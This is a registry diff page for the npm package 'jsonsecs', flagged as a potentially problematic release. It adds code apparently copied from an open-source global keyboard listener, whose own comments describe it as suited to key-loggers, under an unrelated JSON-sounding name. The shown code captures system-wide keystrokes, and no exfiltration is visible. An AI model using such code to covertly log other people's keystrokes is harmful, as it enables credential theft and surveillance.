jsonsecs 0.0.1-security → 3.11.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of jsonsecs might be problematic. Click here for more details.

Files changed (78) hide show
  1. package/LICENSE +21 -0
  2. package/bin/MacKeyServer +0 -0
  3. package/bin/WinKeyServer.exe +0 -0
  4. package/bin/X11KeyServer +0 -0
  5. package/build/index.d.ts +52 -0
  6. package/build/index.d.ts.map +1 -0
  7. package/build/index.js +144 -0
  8. package/build/test.d.ts +2 -0
  9. package/build/test.d.ts.map +1 -0
  10. package/build/test.js +46 -0
  11. package/build/ts/MacKeyServer.d.ts +46 -0
  12. package/build/ts/MacKeyServer.d.ts.map +1 -0
  13. package/build/ts/MacKeyServer.js +156 -0
  14. package/build/ts/WinKeyServer.d.ts +30 -0
  15. package/build/ts/WinKeyServer.d.ts.map +1 -0
  16. package/build/ts/WinKeyServer.js +88 -0
  17. package/build/ts/X11KeyServer.d.ts +46 -0
  18. package/build/ts/X11KeyServer.d.ts.map +1 -0
  19. package/build/ts/X11KeyServer.js +156 -0
  20. package/build/ts/_data/MacGlobalKeyLookup.d.ts +3 -0
  21. package/build/ts/_data/MacGlobalKeyLookup.d.ts.map +1 -0
  22. package/build/ts/_data/MacGlobalKeyLookup.js +143 -0
  23. package/build/ts/_data/WinGlobalKeyLookup.d.ts +6 -0
  24. package/build/ts/_data/WinGlobalKeyLookup.d.ts.map +1 -0
  25. package/build/ts/_data/WinGlobalKeyLookup.js +181 -0
  26. package/build/ts/_data/X11GlobalKeyLookup.d.ts +3 -0
  27. package/build/ts/_data/X11GlobalKeyLookup.d.ts.map +1 -0
  28. package/build/ts/_data/X11GlobalKeyLookup.js +144 -0
  29. package/build/ts/_tests/MacTest.d.ts +2 -0
  30. package/build/ts/_tests/MacTest.d.ts.map +1 -0
  31. package/build/ts/_tests/MacTest.js +17 -0
  32. package/build/ts/_tests/WinTest.d.ts +2 -0
  33. package/build/ts/_tests/WinTest.d.ts.map +1 -0
  34. package/build/ts/_tests/WinTest.js +17 -0
  35. package/build/ts/_types/IConfig.d.ts +15 -0
  36. package/build/ts/_types/IConfig.d.ts.map +1 -0
  37. package/build/ts/_types/IConfig.js +3 -0
  38. package/build/ts/_types/IGlobalKey.d.ts +19 -0
  39. package/build/ts/_types/IGlobalKey.d.ts.map +1 -0
  40. package/build/ts/_types/IGlobalKey.js +3 -0
  41. package/build/ts/_types/IGlobalKeyDownMap.d.ts +5 -0
  42. package/build/ts/_types/IGlobalKeyDownMap.d.ts.map +1 -0
  43. package/build/ts/_types/IGlobalKeyDownMap.js +3 -0
  44. package/build/ts/_types/IGlobalKeyEvent.d.ts +17 -0
  45. package/build/ts/_types/IGlobalKeyEvent.d.ts.map +1 -0
  46. package/build/ts/_types/IGlobalKeyEvent.js +3 -0
  47. package/build/ts/_types/IGlobalKeyListener.d.ts +16 -0
  48. package/build/ts/_types/IGlobalKeyListener.d.ts.map +1 -0
  49. package/build/ts/_types/IGlobalKeyListener.js +3 -0
  50. package/build/ts/_types/IGlobalKeyListenerRaw.d.ts +7 -0
  51. package/build/ts/_types/IGlobalKeyListenerRaw.d.ts.map +1 -0
  52. package/build/ts/_types/IGlobalKeyListenerRaw.js +3 -0
  53. package/build/ts/_types/IGlobalKeyLookup.d.ts +9 -0
  54. package/build/ts/_types/IGlobalKeyLookup.d.ts.map +1 -0
  55. package/build/ts/_types/IGlobalKeyLookup.js +3 -0
  56. package/build/ts/_types/IGlobalKeyResult.d.ts +12 -0
  57. package/build/ts/_types/IGlobalKeyResult.d.ts.map +1 -0
  58. package/build/ts/_types/IGlobalKeyResult.js +3 -0
  59. package/build/ts/_types/IGlobalKeyServer.d.ts +16 -0
  60. package/build/ts/_types/IGlobalKeyServer.d.ts.map +1 -0
  61. package/build/ts/_types/IGlobalKeyServer.js +3 -0
  62. package/build/ts/_types/IMacConfig.d.ts +14 -0
  63. package/build/ts/_types/IMacConfig.d.ts.map +1 -0
  64. package/build/ts/_types/IMacConfig.js +3 -0
  65. package/build/ts/_types/IWindowsConfig copy.d.ts +12 -0
  66. package/build/ts/_types/IWindowsConfig copy.d.ts.map +1 -0
  67. package/build/ts/_types/IWindowsConfig copy.js +3 -0
  68. package/build/ts/_types/IWindowsConfig.d.ts +14 -0
  69. package/build/ts/_types/IWindowsConfig.d.ts.map +1 -0
  70. package/build/ts/_types/IWindowsConfig.js +3 -0
  71. package/build/ts/_types/IX11Config.d.ts +14 -0
  72. package/build/ts/_types/IX11Config.d.ts.map +1 -0
  73. package/build/ts/_types/IX11Config.js +3 -0
  74. package/build/ts/isSpawnEventSupported.d.ts +6 -0
  75. package/build/ts/isSpawnEventSupported.d.ts.map +1 -0
  76. package/build/ts/isSpawnEventSupported.js +19 -0
  77. package/package.json +42 -6
  78. package/README.md +0 -5
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2021 LaunchMenu
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
Binary file
Binary file
Binary file
@@ -0,0 +1,52 @@
1
+ import { IConfig } from "./ts/_types/IConfig";
2
+ import { IGlobalKeyListener } from "./ts/_types/IGlobalKeyListener";
3
+ import { IGlobalKeyServer } from "./ts/_types/IGlobalKeyServer";
4
+ export * from "./ts/_types/IGlobalKeyListener";
5
+ export * from "./ts/_types/IGlobalKeyEvent";
6
+ export * from "./ts/_types/IGlobalKey";
7
+ export * from "./ts/_types/IGlobalKeyDownMap";
8
+ export * from "./ts/_types/IWindowsConfig";
9
+ export * from "./ts/_types/IConfig";
10
+ /**
11
+ * A cross-platform global keyboard listener. Ideal for setting up global keyboard shortcuts
12
+ * and key-loggers (usually for automation).
13
+ * This keyserver uses low-level hooks on Windows OS and Event Taps on Mac OS, which allows
14
+ * event propagation to be halted to the rest of the operating system as well as allowing
15
+ * any key to be used for shortcuts.
16
+ */
17
+ export declare class GlobalKeyboardListener {
18
+ /** The underlying keyServer used to listen and halt propagation of events */
19
+ protected keyServer: IGlobalKeyServer;
20
+ protected listeners: Array<IGlobalKeyListener>;
21
+ protected config: IConfig;
22
+ /** Whether the server is currently running */
23
+ protected isRunning: boolean;
24
+ protected stopTimeoutID: number;
25
+ /** The underlying map of keys that are being held down */
26
+ private readonly isDown;
27
+ /**
28
+ * Creates a new keyboard listener
29
+ * @param config The optional configuration for the key listener
30
+ */
31
+ constructor(config?: IConfig);
32
+ /**
33
+ * Add a global keyboard listener to the global keyboard listener server.
34
+ * @param listener The listener to add to the global keyboard listener
35
+ * @throws An exception if the process could not be started
36
+ */
37
+ addListener(listener: IGlobalKeyListener): Promise<void>;
38
+ /**
39
+ * Remove a global keyboard listener from the global keyboard listener server.
40
+ * @param listener The listener to remove from the global keyboard listener
41
+ */
42
+ removeListener(listener: IGlobalKeyListener): void;
43
+ /** Removes all listeners and destroys the key server */
44
+ kill(): void;
45
+ /** Start the key server */
46
+ protected start(): Promise<void>;
47
+ /** Stop the key server */
48
+ protected stop(): void;
49
+ /** The following listener is used to monitor which keys are being held down */
50
+ private baseListener;
51
+ }
52
+ //# sourceMappingURL=index.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"AAIA,OAAO,EAAC,OAAO,EAAC,MAAM,qBAAqB,CAAC;AAE5C,OAAO,EAAC,kBAAkB,EAAC,MAAM,gCAAgC,CAAC;AAElE,OAAO,EAAC,gBAAgB,EAAC,MAAM,8BAA8B,CAAC;AAE9D,cAAc,gCAAgC,CAAC;AAC/C,cAAc,6BAA6B,CAAC;AAC5C,cAAc,wBAAwB,CAAC;AACvC,cAAc,+BAA+B,CAAC;AAC9C,cAAc,4BAA4B,CAAC;AAC3C,cAAc,qBAAqB,CAAC;AAEpC;;;;;;GAMG;AACH,qBAAa,sBAAsB;IAC/B,6EAA6E;IAC7E,SAAS,CAAC,SAAS,EAAE,gBAAgB,CAAC;IACtC,SAAS,CAAC,SAAS,EAAE,KAAK,CAAC,kBAAkB,CAAC,CAAC;IAC/C,SAAS,CAAC,MAAM,EAAE,OAAO,CAAC;IAE1B,8CAA8C;IAC9C,SAAS,CAAC,SAAS,UAAS;IAC5B,SAAS,CAAC,aAAa,SAAK;IAE5B,0DAA0D;IAC1D,OAAO,CAAC,QAAQ,CAAC,MAAM,CAAoB;IAE3C;;;OAGG;gBACgB,MAAM,GAAE,OAAY;IAmBvC;;;;OAIG;IACU,WAAW,CAAC,QAAQ,EAAE,kBAAkB,GAAG,OAAO,CAAC,IAAI,CAAC;IAQrE;;;OAGG;IACI,cAAc,CAAC,QAAQ,EAAE,kBAAkB,GAAG,IAAI;IAezD,wDAAwD;IACjD,IAAI;IAKX,2BAA2B;IAC3B,SAAS,CAAC,KAAK,IAAI,OAAO,CAAC,IAAI,CAAC;IAOhC,0BAA0B;IAC1B,SAAS,CAAC,IAAI,IAAI,IAAI;IAKtB,+EAA+E;IAC/E,OAAO,CAAC,YAAY,CA+BlB;CACL"}
package/build/index.js ADDED
@@ -0,0 +1,144 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ Object.defineProperty(o, k2, { enumerable: true, get: function() { return m[k]; } });
5
+ }) : (function(o, m, k, k2) {
6
+ if (k2 === undefined) k2 = k;
7
+ o[k2] = m[k];
8
+ }));
9
+ var __exportStar = (this && this.__exportStar) || function(m, exports) {
10
+ for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(exports, p)) __createBinding(exports, m, p);
11
+ };
12
+ var __importDefault = (this && this.__importDefault) || function (mod) {
13
+ return (mod && mod.__esModule) ? mod : { "default": mod };
14
+ };
15
+ Object.defineProperty(exports, "__esModule", { value: true });
16
+ exports.GlobalKeyboardListener = void 0;
17
+ const os_1 = __importDefault(require("os"));
18
+ const MacKeyServer_1 = require("./ts/MacKeyServer");
19
+ const WinKeyServer_1 = require("./ts/WinKeyServer");
20
+ const X11KeyServer_1 = require("./ts/X11KeyServer");
21
+ __exportStar(require("./ts/_types/IGlobalKeyListener"), exports);
22
+ __exportStar(require("./ts/_types/IGlobalKeyEvent"), exports);
23
+ __exportStar(require("./ts/_types/IGlobalKey"), exports);
24
+ __exportStar(require("./ts/_types/IGlobalKeyDownMap"), exports);
25
+ __exportStar(require("./ts/_types/IWindowsConfig"), exports);
26
+ __exportStar(require("./ts/_types/IConfig"), exports);
27
+ /**
28
+ * A cross-platform global keyboard listener. Ideal for setting up global keyboard shortcuts
29
+ * and key-loggers (usually for automation).
30
+ * This keyserver uses low-level hooks on Windows OS and Event Taps on Mac OS, which allows
31
+ * event propagation to be halted to the rest of the operating system as well as allowing
32
+ * any key to be used for shortcuts.
33
+ */
34
+ class GlobalKeyboardListener {
35
+ /**
36
+ * Creates a new keyboard listener
37
+ * @param config The optional configuration for the key listener
38
+ */
39
+ constructor(config = {}) {
40
+ /** Whether the server is currently running */
41
+ this.isRunning = false;
42
+ this.stopTimeoutID = 0;
43
+ /** The following listener is used to monitor which keys are being held down */
44
+ this.baseListener = event => {
45
+ if (event.name) {
46
+ switch (event.state) {
47
+ case "DOWN":
48
+ this.isDown[event.name] = true;
49
+ break;
50
+ case "UP":
51
+ this.isDown[event.name] = false;
52
+ break;
53
+ }
54
+ }
55
+ let stopPropagation = false;
56
+ for (let onKey of this.listeners) {
57
+ //Forward event
58
+ try {
59
+ const res = onKey(event, this.isDown);
60
+ //Handle catch data
61
+ if (res instanceof Object) {
62
+ if (res.stopPropagation)
63
+ stopPropagation = true;
64
+ if (res.stopImmediatePropagation)
65
+ break;
66
+ }
67
+ else if (res) {
68
+ stopPropagation = true;
69
+ }
70
+ }
71
+ catch (e) {
72
+ console.error(e);
73
+ }
74
+ }
75
+ return stopPropagation;
76
+ };
77
+ this.listeners = [];
78
+ this.isDown = {};
79
+ this.config = config;
80
+ switch (os_1.default.platform()) {
81
+ case "win32":
82
+ this.keyServer = new WinKeyServer_1.WinKeyServer(this.baseListener, config.windows);
83
+ break;
84
+ case "darwin":
85
+ this.keyServer = new MacKeyServer_1.MacKeyServer(this.baseListener, config.mac);
86
+ break;
87
+ case "linux":
88
+ this.keyServer = new X11KeyServer_1.X11KeyServer(this.baseListener, config.x11);
89
+ break;
90
+ default:
91
+ throw Error("This OS is not supported");
92
+ }
93
+ }
94
+ /**
95
+ * Add a global keyboard listener to the global keyboard listener server.
96
+ * @param listener The listener to add to the global keyboard listener
97
+ * @throws An exception if the process could not be started
98
+ */
99
+ async addListener(listener) {
100
+ this.listeners.push(listener);
101
+ if (this.listeners.length == 1) {
102
+ clearTimeout(this.stopTimeoutID);
103
+ await this.start();
104
+ }
105
+ }
106
+ /**
107
+ * Remove a global keyboard listener from the global keyboard listener server.
108
+ * @param listener The listener to remove from the global keyboard listener
109
+ */
110
+ removeListener(listener) {
111
+ var _a;
112
+ const index = this.listeners.indexOf(listener);
113
+ if (index != -1) {
114
+ this.listeners.splice(index, 1);
115
+ if (this.listeners.length == 0) {
116
+ if (this.config.disposeDelay == -1)
117
+ this.stop();
118
+ else
119
+ this.stopTimeoutID = setTimeout(() => this.stop(), (_a = this.config.disposeDelay) !== null && _a !== void 0 ? _a : 100);
120
+ }
121
+ }
122
+ }
123
+ /** Removes all listeners and destroys the key server */
124
+ kill() {
125
+ this.listeners = [];
126
+ this.stop();
127
+ }
128
+ /** Start the key server */
129
+ start() {
130
+ let promise = Promise.resolve();
131
+ if (!this.isRunning)
132
+ promise = this.keyServer.start();
133
+ this.isRunning = true;
134
+ return promise;
135
+ }
136
+ /** Stop the key server */
137
+ stop() {
138
+ if (this.isRunning)
139
+ this.keyServer.stop();
140
+ this.isRunning = false;
141
+ }
142
+ }
143
+ exports.GlobalKeyboardListener = GlobalKeyboardListener;
144
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoiaW5kZXguanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyIuLi9zcmMvaW5kZXgudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6Ijs7Ozs7Ozs7Ozs7Ozs7OztBQUFBLDRDQUFvQjtBQUNwQixvREFBK0M7QUFDL0Msb0RBQStDO0FBQy9DLG9EQUErQztBQU8vQyxpRUFBK0M7QUFDL0MsOERBQTRDO0FBQzVDLHlEQUF1QztBQUN2QyxnRUFBOEM7QUFDOUMsNkRBQTJDO0FBQzNDLHNEQUFvQztBQUVwQzs7Ozs7O0dBTUc7QUFDSCxNQUFhLHNCQUFzQjtJQWEvQjs7O09BR0c7SUFDSCxZQUFtQixTQUFrQixFQUFFO1FBWHZDLDhDQUE4QztRQUNwQyxjQUFTLEdBQUcsS0FBSyxDQUFDO1FBQ2xCLGtCQUFhLEdBQUcsQ0FBQyxDQUFDO1FBZ0Y1QiwrRUFBK0U7UUFDdkUsaUJBQVksR0FBMEIsS0FBSyxDQUFDLEVBQUU7WUFDbEQsSUFBSSxLQUFLLENBQUMsSUFBSSxFQUFFO2dCQUNaLFFBQVEsS0FBSyxDQUFDLEtBQUssRUFBRTtvQkFDakIsS0FBSyxNQUFNO3dCQUNQLElBQUksQ0FBQyxNQUFNLENBQUMsS0FBSyxDQUFDLElBQUksQ0FBQyxHQUFHLElBQUksQ0FBQzt3QkFDL0IsTUFBTTtvQkFDVixLQUFLLElBQUk7d0JBQ0wsSUFBSSxDQUFDLE1BQU0sQ0FBQyxLQUFLLENBQUMsSUFBSSxDQUFDLEdBQUcsS0FBSyxDQUFDO3dCQUNoQyxNQUFNO2lCQUNiO2FBQ0o7WUFFRCxJQUFJLGVBQWUsR0FBRyxLQUFLLENBQUM7WUFDNUIsS0FBSyxJQUFJLEtBQUssSUFBSSxJQUFJLENBQUMsU0FBUyxFQUFFO2dCQUM5QixlQUFlO2dCQUNmLElBQUk7b0JBQ0EsTUFBTSxHQUFHLEdBQUcsS0FBSyxDQUFDLEtBQUssRUFBRSxJQUFJLENBQUMsTUFBTSxDQUFDLENBQUM7b0JBRXRDLG1CQUFtQjtvQkFDbkIsSUFBSSxHQUFHLFlBQVksTUFBTSxFQUFFO3dCQUN2QixJQUFJ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
@@ -0,0 +1,2 @@
1
+ export {};
2
+ //# sourceMappingURL=test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"test.d.ts","sourceRoot":"","sources":["../src/test.ts"],"names":[],"mappings":""}
package/build/test.js ADDED
@@ -0,0 +1,46 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ const _1 = require(".");
4
+ const v = new _1.GlobalKeyboardListener({
5
+ windows: {
6
+ onError: errorCode => console.error("ERROR: " + errorCode),
7
+ onInfo: info => console.info("INFO: " + info),
8
+ },
9
+ mac: {
10
+ onError: errorCode => console.error("ERROR: " + errorCode),
11
+ onInfo: info => console.info("INFO: " + info),
12
+ },
13
+ });
14
+ v.addListener(function (e, down) {
15
+ var _a, _b, _c;
16
+ console.log((_a = e.name) === null || _a === void 0 ? void 0 : _a.padStart(16), e.state.padStart(4), (_b = e.rawKey) === null || _b === void 0 ? void 0 : _b._nameRaw.padStart(32), (_c = e.location) === null || _c === void 0 ? void 0 : _c.map(x => x.toFixed(2)).join(' ').padStart(32));
17
+ if (e.state == "DOWN" &&
18
+ e.name == "SPACE" &&
19
+ (down["LEFT META"] || down["RIGHT META"])) {
20
+ console.log("captured");
21
+ return true;
22
+ }
23
+ if (e.state == "DOWN" && e.name == "I" && (down["LEFT META"] || down["RIGHT META"])) {
24
+ console.log("captured");
25
+ return true;
26
+ }
27
+ if (e.state == "DOWN" && e.name == "F") {
28
+ // && (down["LEFT ALT"] || down["RIGHT ALT"])) {
29
+ console.log("captured attempted");
30
+ const start = Date.now();
31
+ while (Date.now() - start < 3000)
32
+ ;
33
+ return true;
34
+ }
35
+ if (e.state == "DOWN" && e.name == "M") {
36
+ return true;
37
+ }
38
+ if (e.state == "DOWN" && e.name == "N") {
39
+ throw "Shit";
40
+ console.log("captured");
41
+ return true;
42
+ }
43
+ })
44
+ .then(() => console.log("Success"))
45
+ .catch(e => console.log("Error: " + e));
46
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoidGVzdC5qcyIsInNvdXJjZVJvb3QiOiIiLCJzb3VyY2VzIjpbIi4uL3NyYy90ZXN0LnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiI7O0FBQUEsd0JBQXlDO0FBRXpDLE1BQU0sQ0FBQyxHQUFHLElBQUkseUJBQXNCLENBQUM7SUFDakMsT0FBTyxFQUFFO1FBQ0wsT0FBTyxFQUFFLFNBQVMsQ0FBQyxFQUFFLENBQUMsT0FBTyxDQUFDLEtBQUssQ0FBQyxTQUFTLEdBQUcsU0FBUyxDQUFDO1FBQzFELE1BQU0sRUFBRSxJQUFJLENBQUMsRUFBRSxDQUFDLE9BQU8sQ0FBQyxJQUFJLENBQUMsUUFBUSxHQUFHLElBQUksQ0FBQztLQUNoRDtJQUNELEdBQUcsRUFBRTtRQUNELE9BQU8sRUFBRSxTQUFTLENBQUMsRUFBRSxDQUFDLE9BQU8sQ0FBQyxLQUFLLENBQUMsU0FBUyxHQUFHLFNBQVMsQ0FBQztRQUMxRCxNQUFNLEVBQUUsSUFBSSxDQUFDLEVBQUUsQ0FBQyxPQUFPLENBQUMsSUFBSSxDQUFDLFFBQVEsR0FBRyxJQUFJLENBQUM7S0FDaEQ7Q0FDSixDQUFDLENBQUM7QUFDSCxDQUFDLENBQUMsV0FBVyxDQUFDLFVBQVUsQ0FBQyxFQUFFLElBQUk7O0lBQzNCLE9BQU8sQ0FBQyxHQUFHLENBQ1AsTUFBQSxDQUFDLENBQUMsSUFBSSwwQ0FBRSxRQUFRLENBQUMsRUFBRSxDQUFDLEVBQ3BCLENBQUMsQ0FBQyxLQUFLLENBQUMsUUFBUSxDQUFDLENBQUMsQ0FBQyxFQUNuQixNQUFBLENBQUMsQ0FBQyxNQUFNLDBDQUFFLFFBQVEsQ0FBQyxRQUFRLENBQUMsRUFBRSxDQUFDLEVBQy9CLE1BQUEsQ0FBQyxDQUFDLFFBQVEsMENBQUUsR0FBRyxDQUFDLENBQUMsQ0FBQyxFQUFFLENBQUMsQ0FBQyxDQUFDLE9BQU8sQ0FBQyxDQUFDLENBQUMsRUFBRSxJQUFJLENBQUMsR0FBRyxFQUFFLFFBQVEsQ0FBQyxFQUFFLENBQUMsQ0FDNUQsQ0FBQztJQUVGLElBQ0ksQ0FBQyxDQUFDLEtBQUssSUFBSSxNQUFNO1FBQ2pCLENBQUMsQ0FBQyxJQUFJLElBQUksT0FBTztRQUNqQixDQUFDLElBQUksQ0FBQyxXQUFXLENBQUMsSUFBSSxJQUFJLENBQUMsWUFBWSxDQUFDLENBQUMsRUFDM0M7UUFDRSxPQUFPLENBQUMsR0FBRyxDQUFDLFVBQVUsQ0FBQyxDQUFDO1FBQ3hCLE9BQU8sSUFBSSxDQUFDO0tBQ2Y7SUFDRCxJQUFJLENBQUMsQ0FBQyxLQUFLLElBQUksTUFBTSxJQUFJLENBQUMsQ0FBQyxJQUFJLElBQUksR0FBRyxJQUFJLENBQUMsSUFBSSxDQUFDLFdBQVcsQ0FBQyxJQUFJLElBQUksQ0FBQyxZQUFZLENBQUMsQ0FBQyxFQUFFO1FBQ2pGLE9BQU8sQ0FBQyxHQUFHLENBQUMsVUFBVSxDQUFDLENBQUM7UUFDeEIsT0FBTyxJQUFJLENBQUM7S0FDZjtJQUNELElBQUksQ0FBQyxDQUFDLEtBQUssSUFBSSxNQUFNLElBQUksQ0FBQyxDQUFDLElBQUksSUFBSSxHQUFHLEVBQUU7UUFDcEMsZ0RBQWdEO1FBQ2hELE9BQU8sQ0FBQyxHQUFHLENBQUMsb0JBQW9CLENBQUMsQ0FBQztRQUNsQyxNQUFNLEtBQUssR0FBRyxJQUFJLENBQUMsR0FBRyxFQUFFLENBQUM7UUFDekIsT0FBTyxJQUFJLENBQUMsR0FBRyxFQUFFLEdBQUcsS0FBSyxHQUFHLElBQUk7WUFBQyxDQUFDO1FBRWxDLE9BQU8sSUFBSSxDQUFDO0tBQ2Y7SUFFRCxJQUFJLENBQUMsQ0FBQyxLQUFLLElBQUksTUFBTSxJQUFJLENBQUMsQ0FBQyxJQUFJLElBQUksR0FBRyxFQUFFO1FBQ3BDLE9BQU8sSUFBSSxDQUFDO0tBQ2Y7SUFDRCxJQUFJLENBQUMsQ0FBQyxLQUFLLElBQUksTUFBTSxJQUFJLENBQUMsQ0FBQyxJQUFJLElBQUksR0FBRyxFQUFFO1FBQ3BDLE1BQU0sTUFBTSxDQUFDO1FBQ2IsT0FBTyxDQUFDLEdBQUcsQ0FBQyxVQUFVLENBQUMsQ0FBQztRQUN4QixPQUFPLElBQUksQ0FBQztLQUNmO0FBQ0wsQ0FBQyxDQUFDO0tBQ0csSUFBSSxDQUFDLEdBQUcsRUFBRSxDQUFDLE9BQU8sQ0FBQyxHQUFHLENBQUMsU0FBUyxDQUFDLENBQUM7S0FDbEMsS0FBSyxDQUFDLENBQUMsQ0FBQyxFQUFFLENBQUMsT0FBTyxDQUFDLEdBQUcsQ0FBQyxTQUFTLEdBQUcsQ0FBQyxDQUFDLENBQUMsQ0FBQyJ9
@@ -0,0 +1,46 @@
1
+ /// <reference types="node" />
2
+ import { IGlobalKeyServer } from "./_types/IGlobalKeyServer";
3
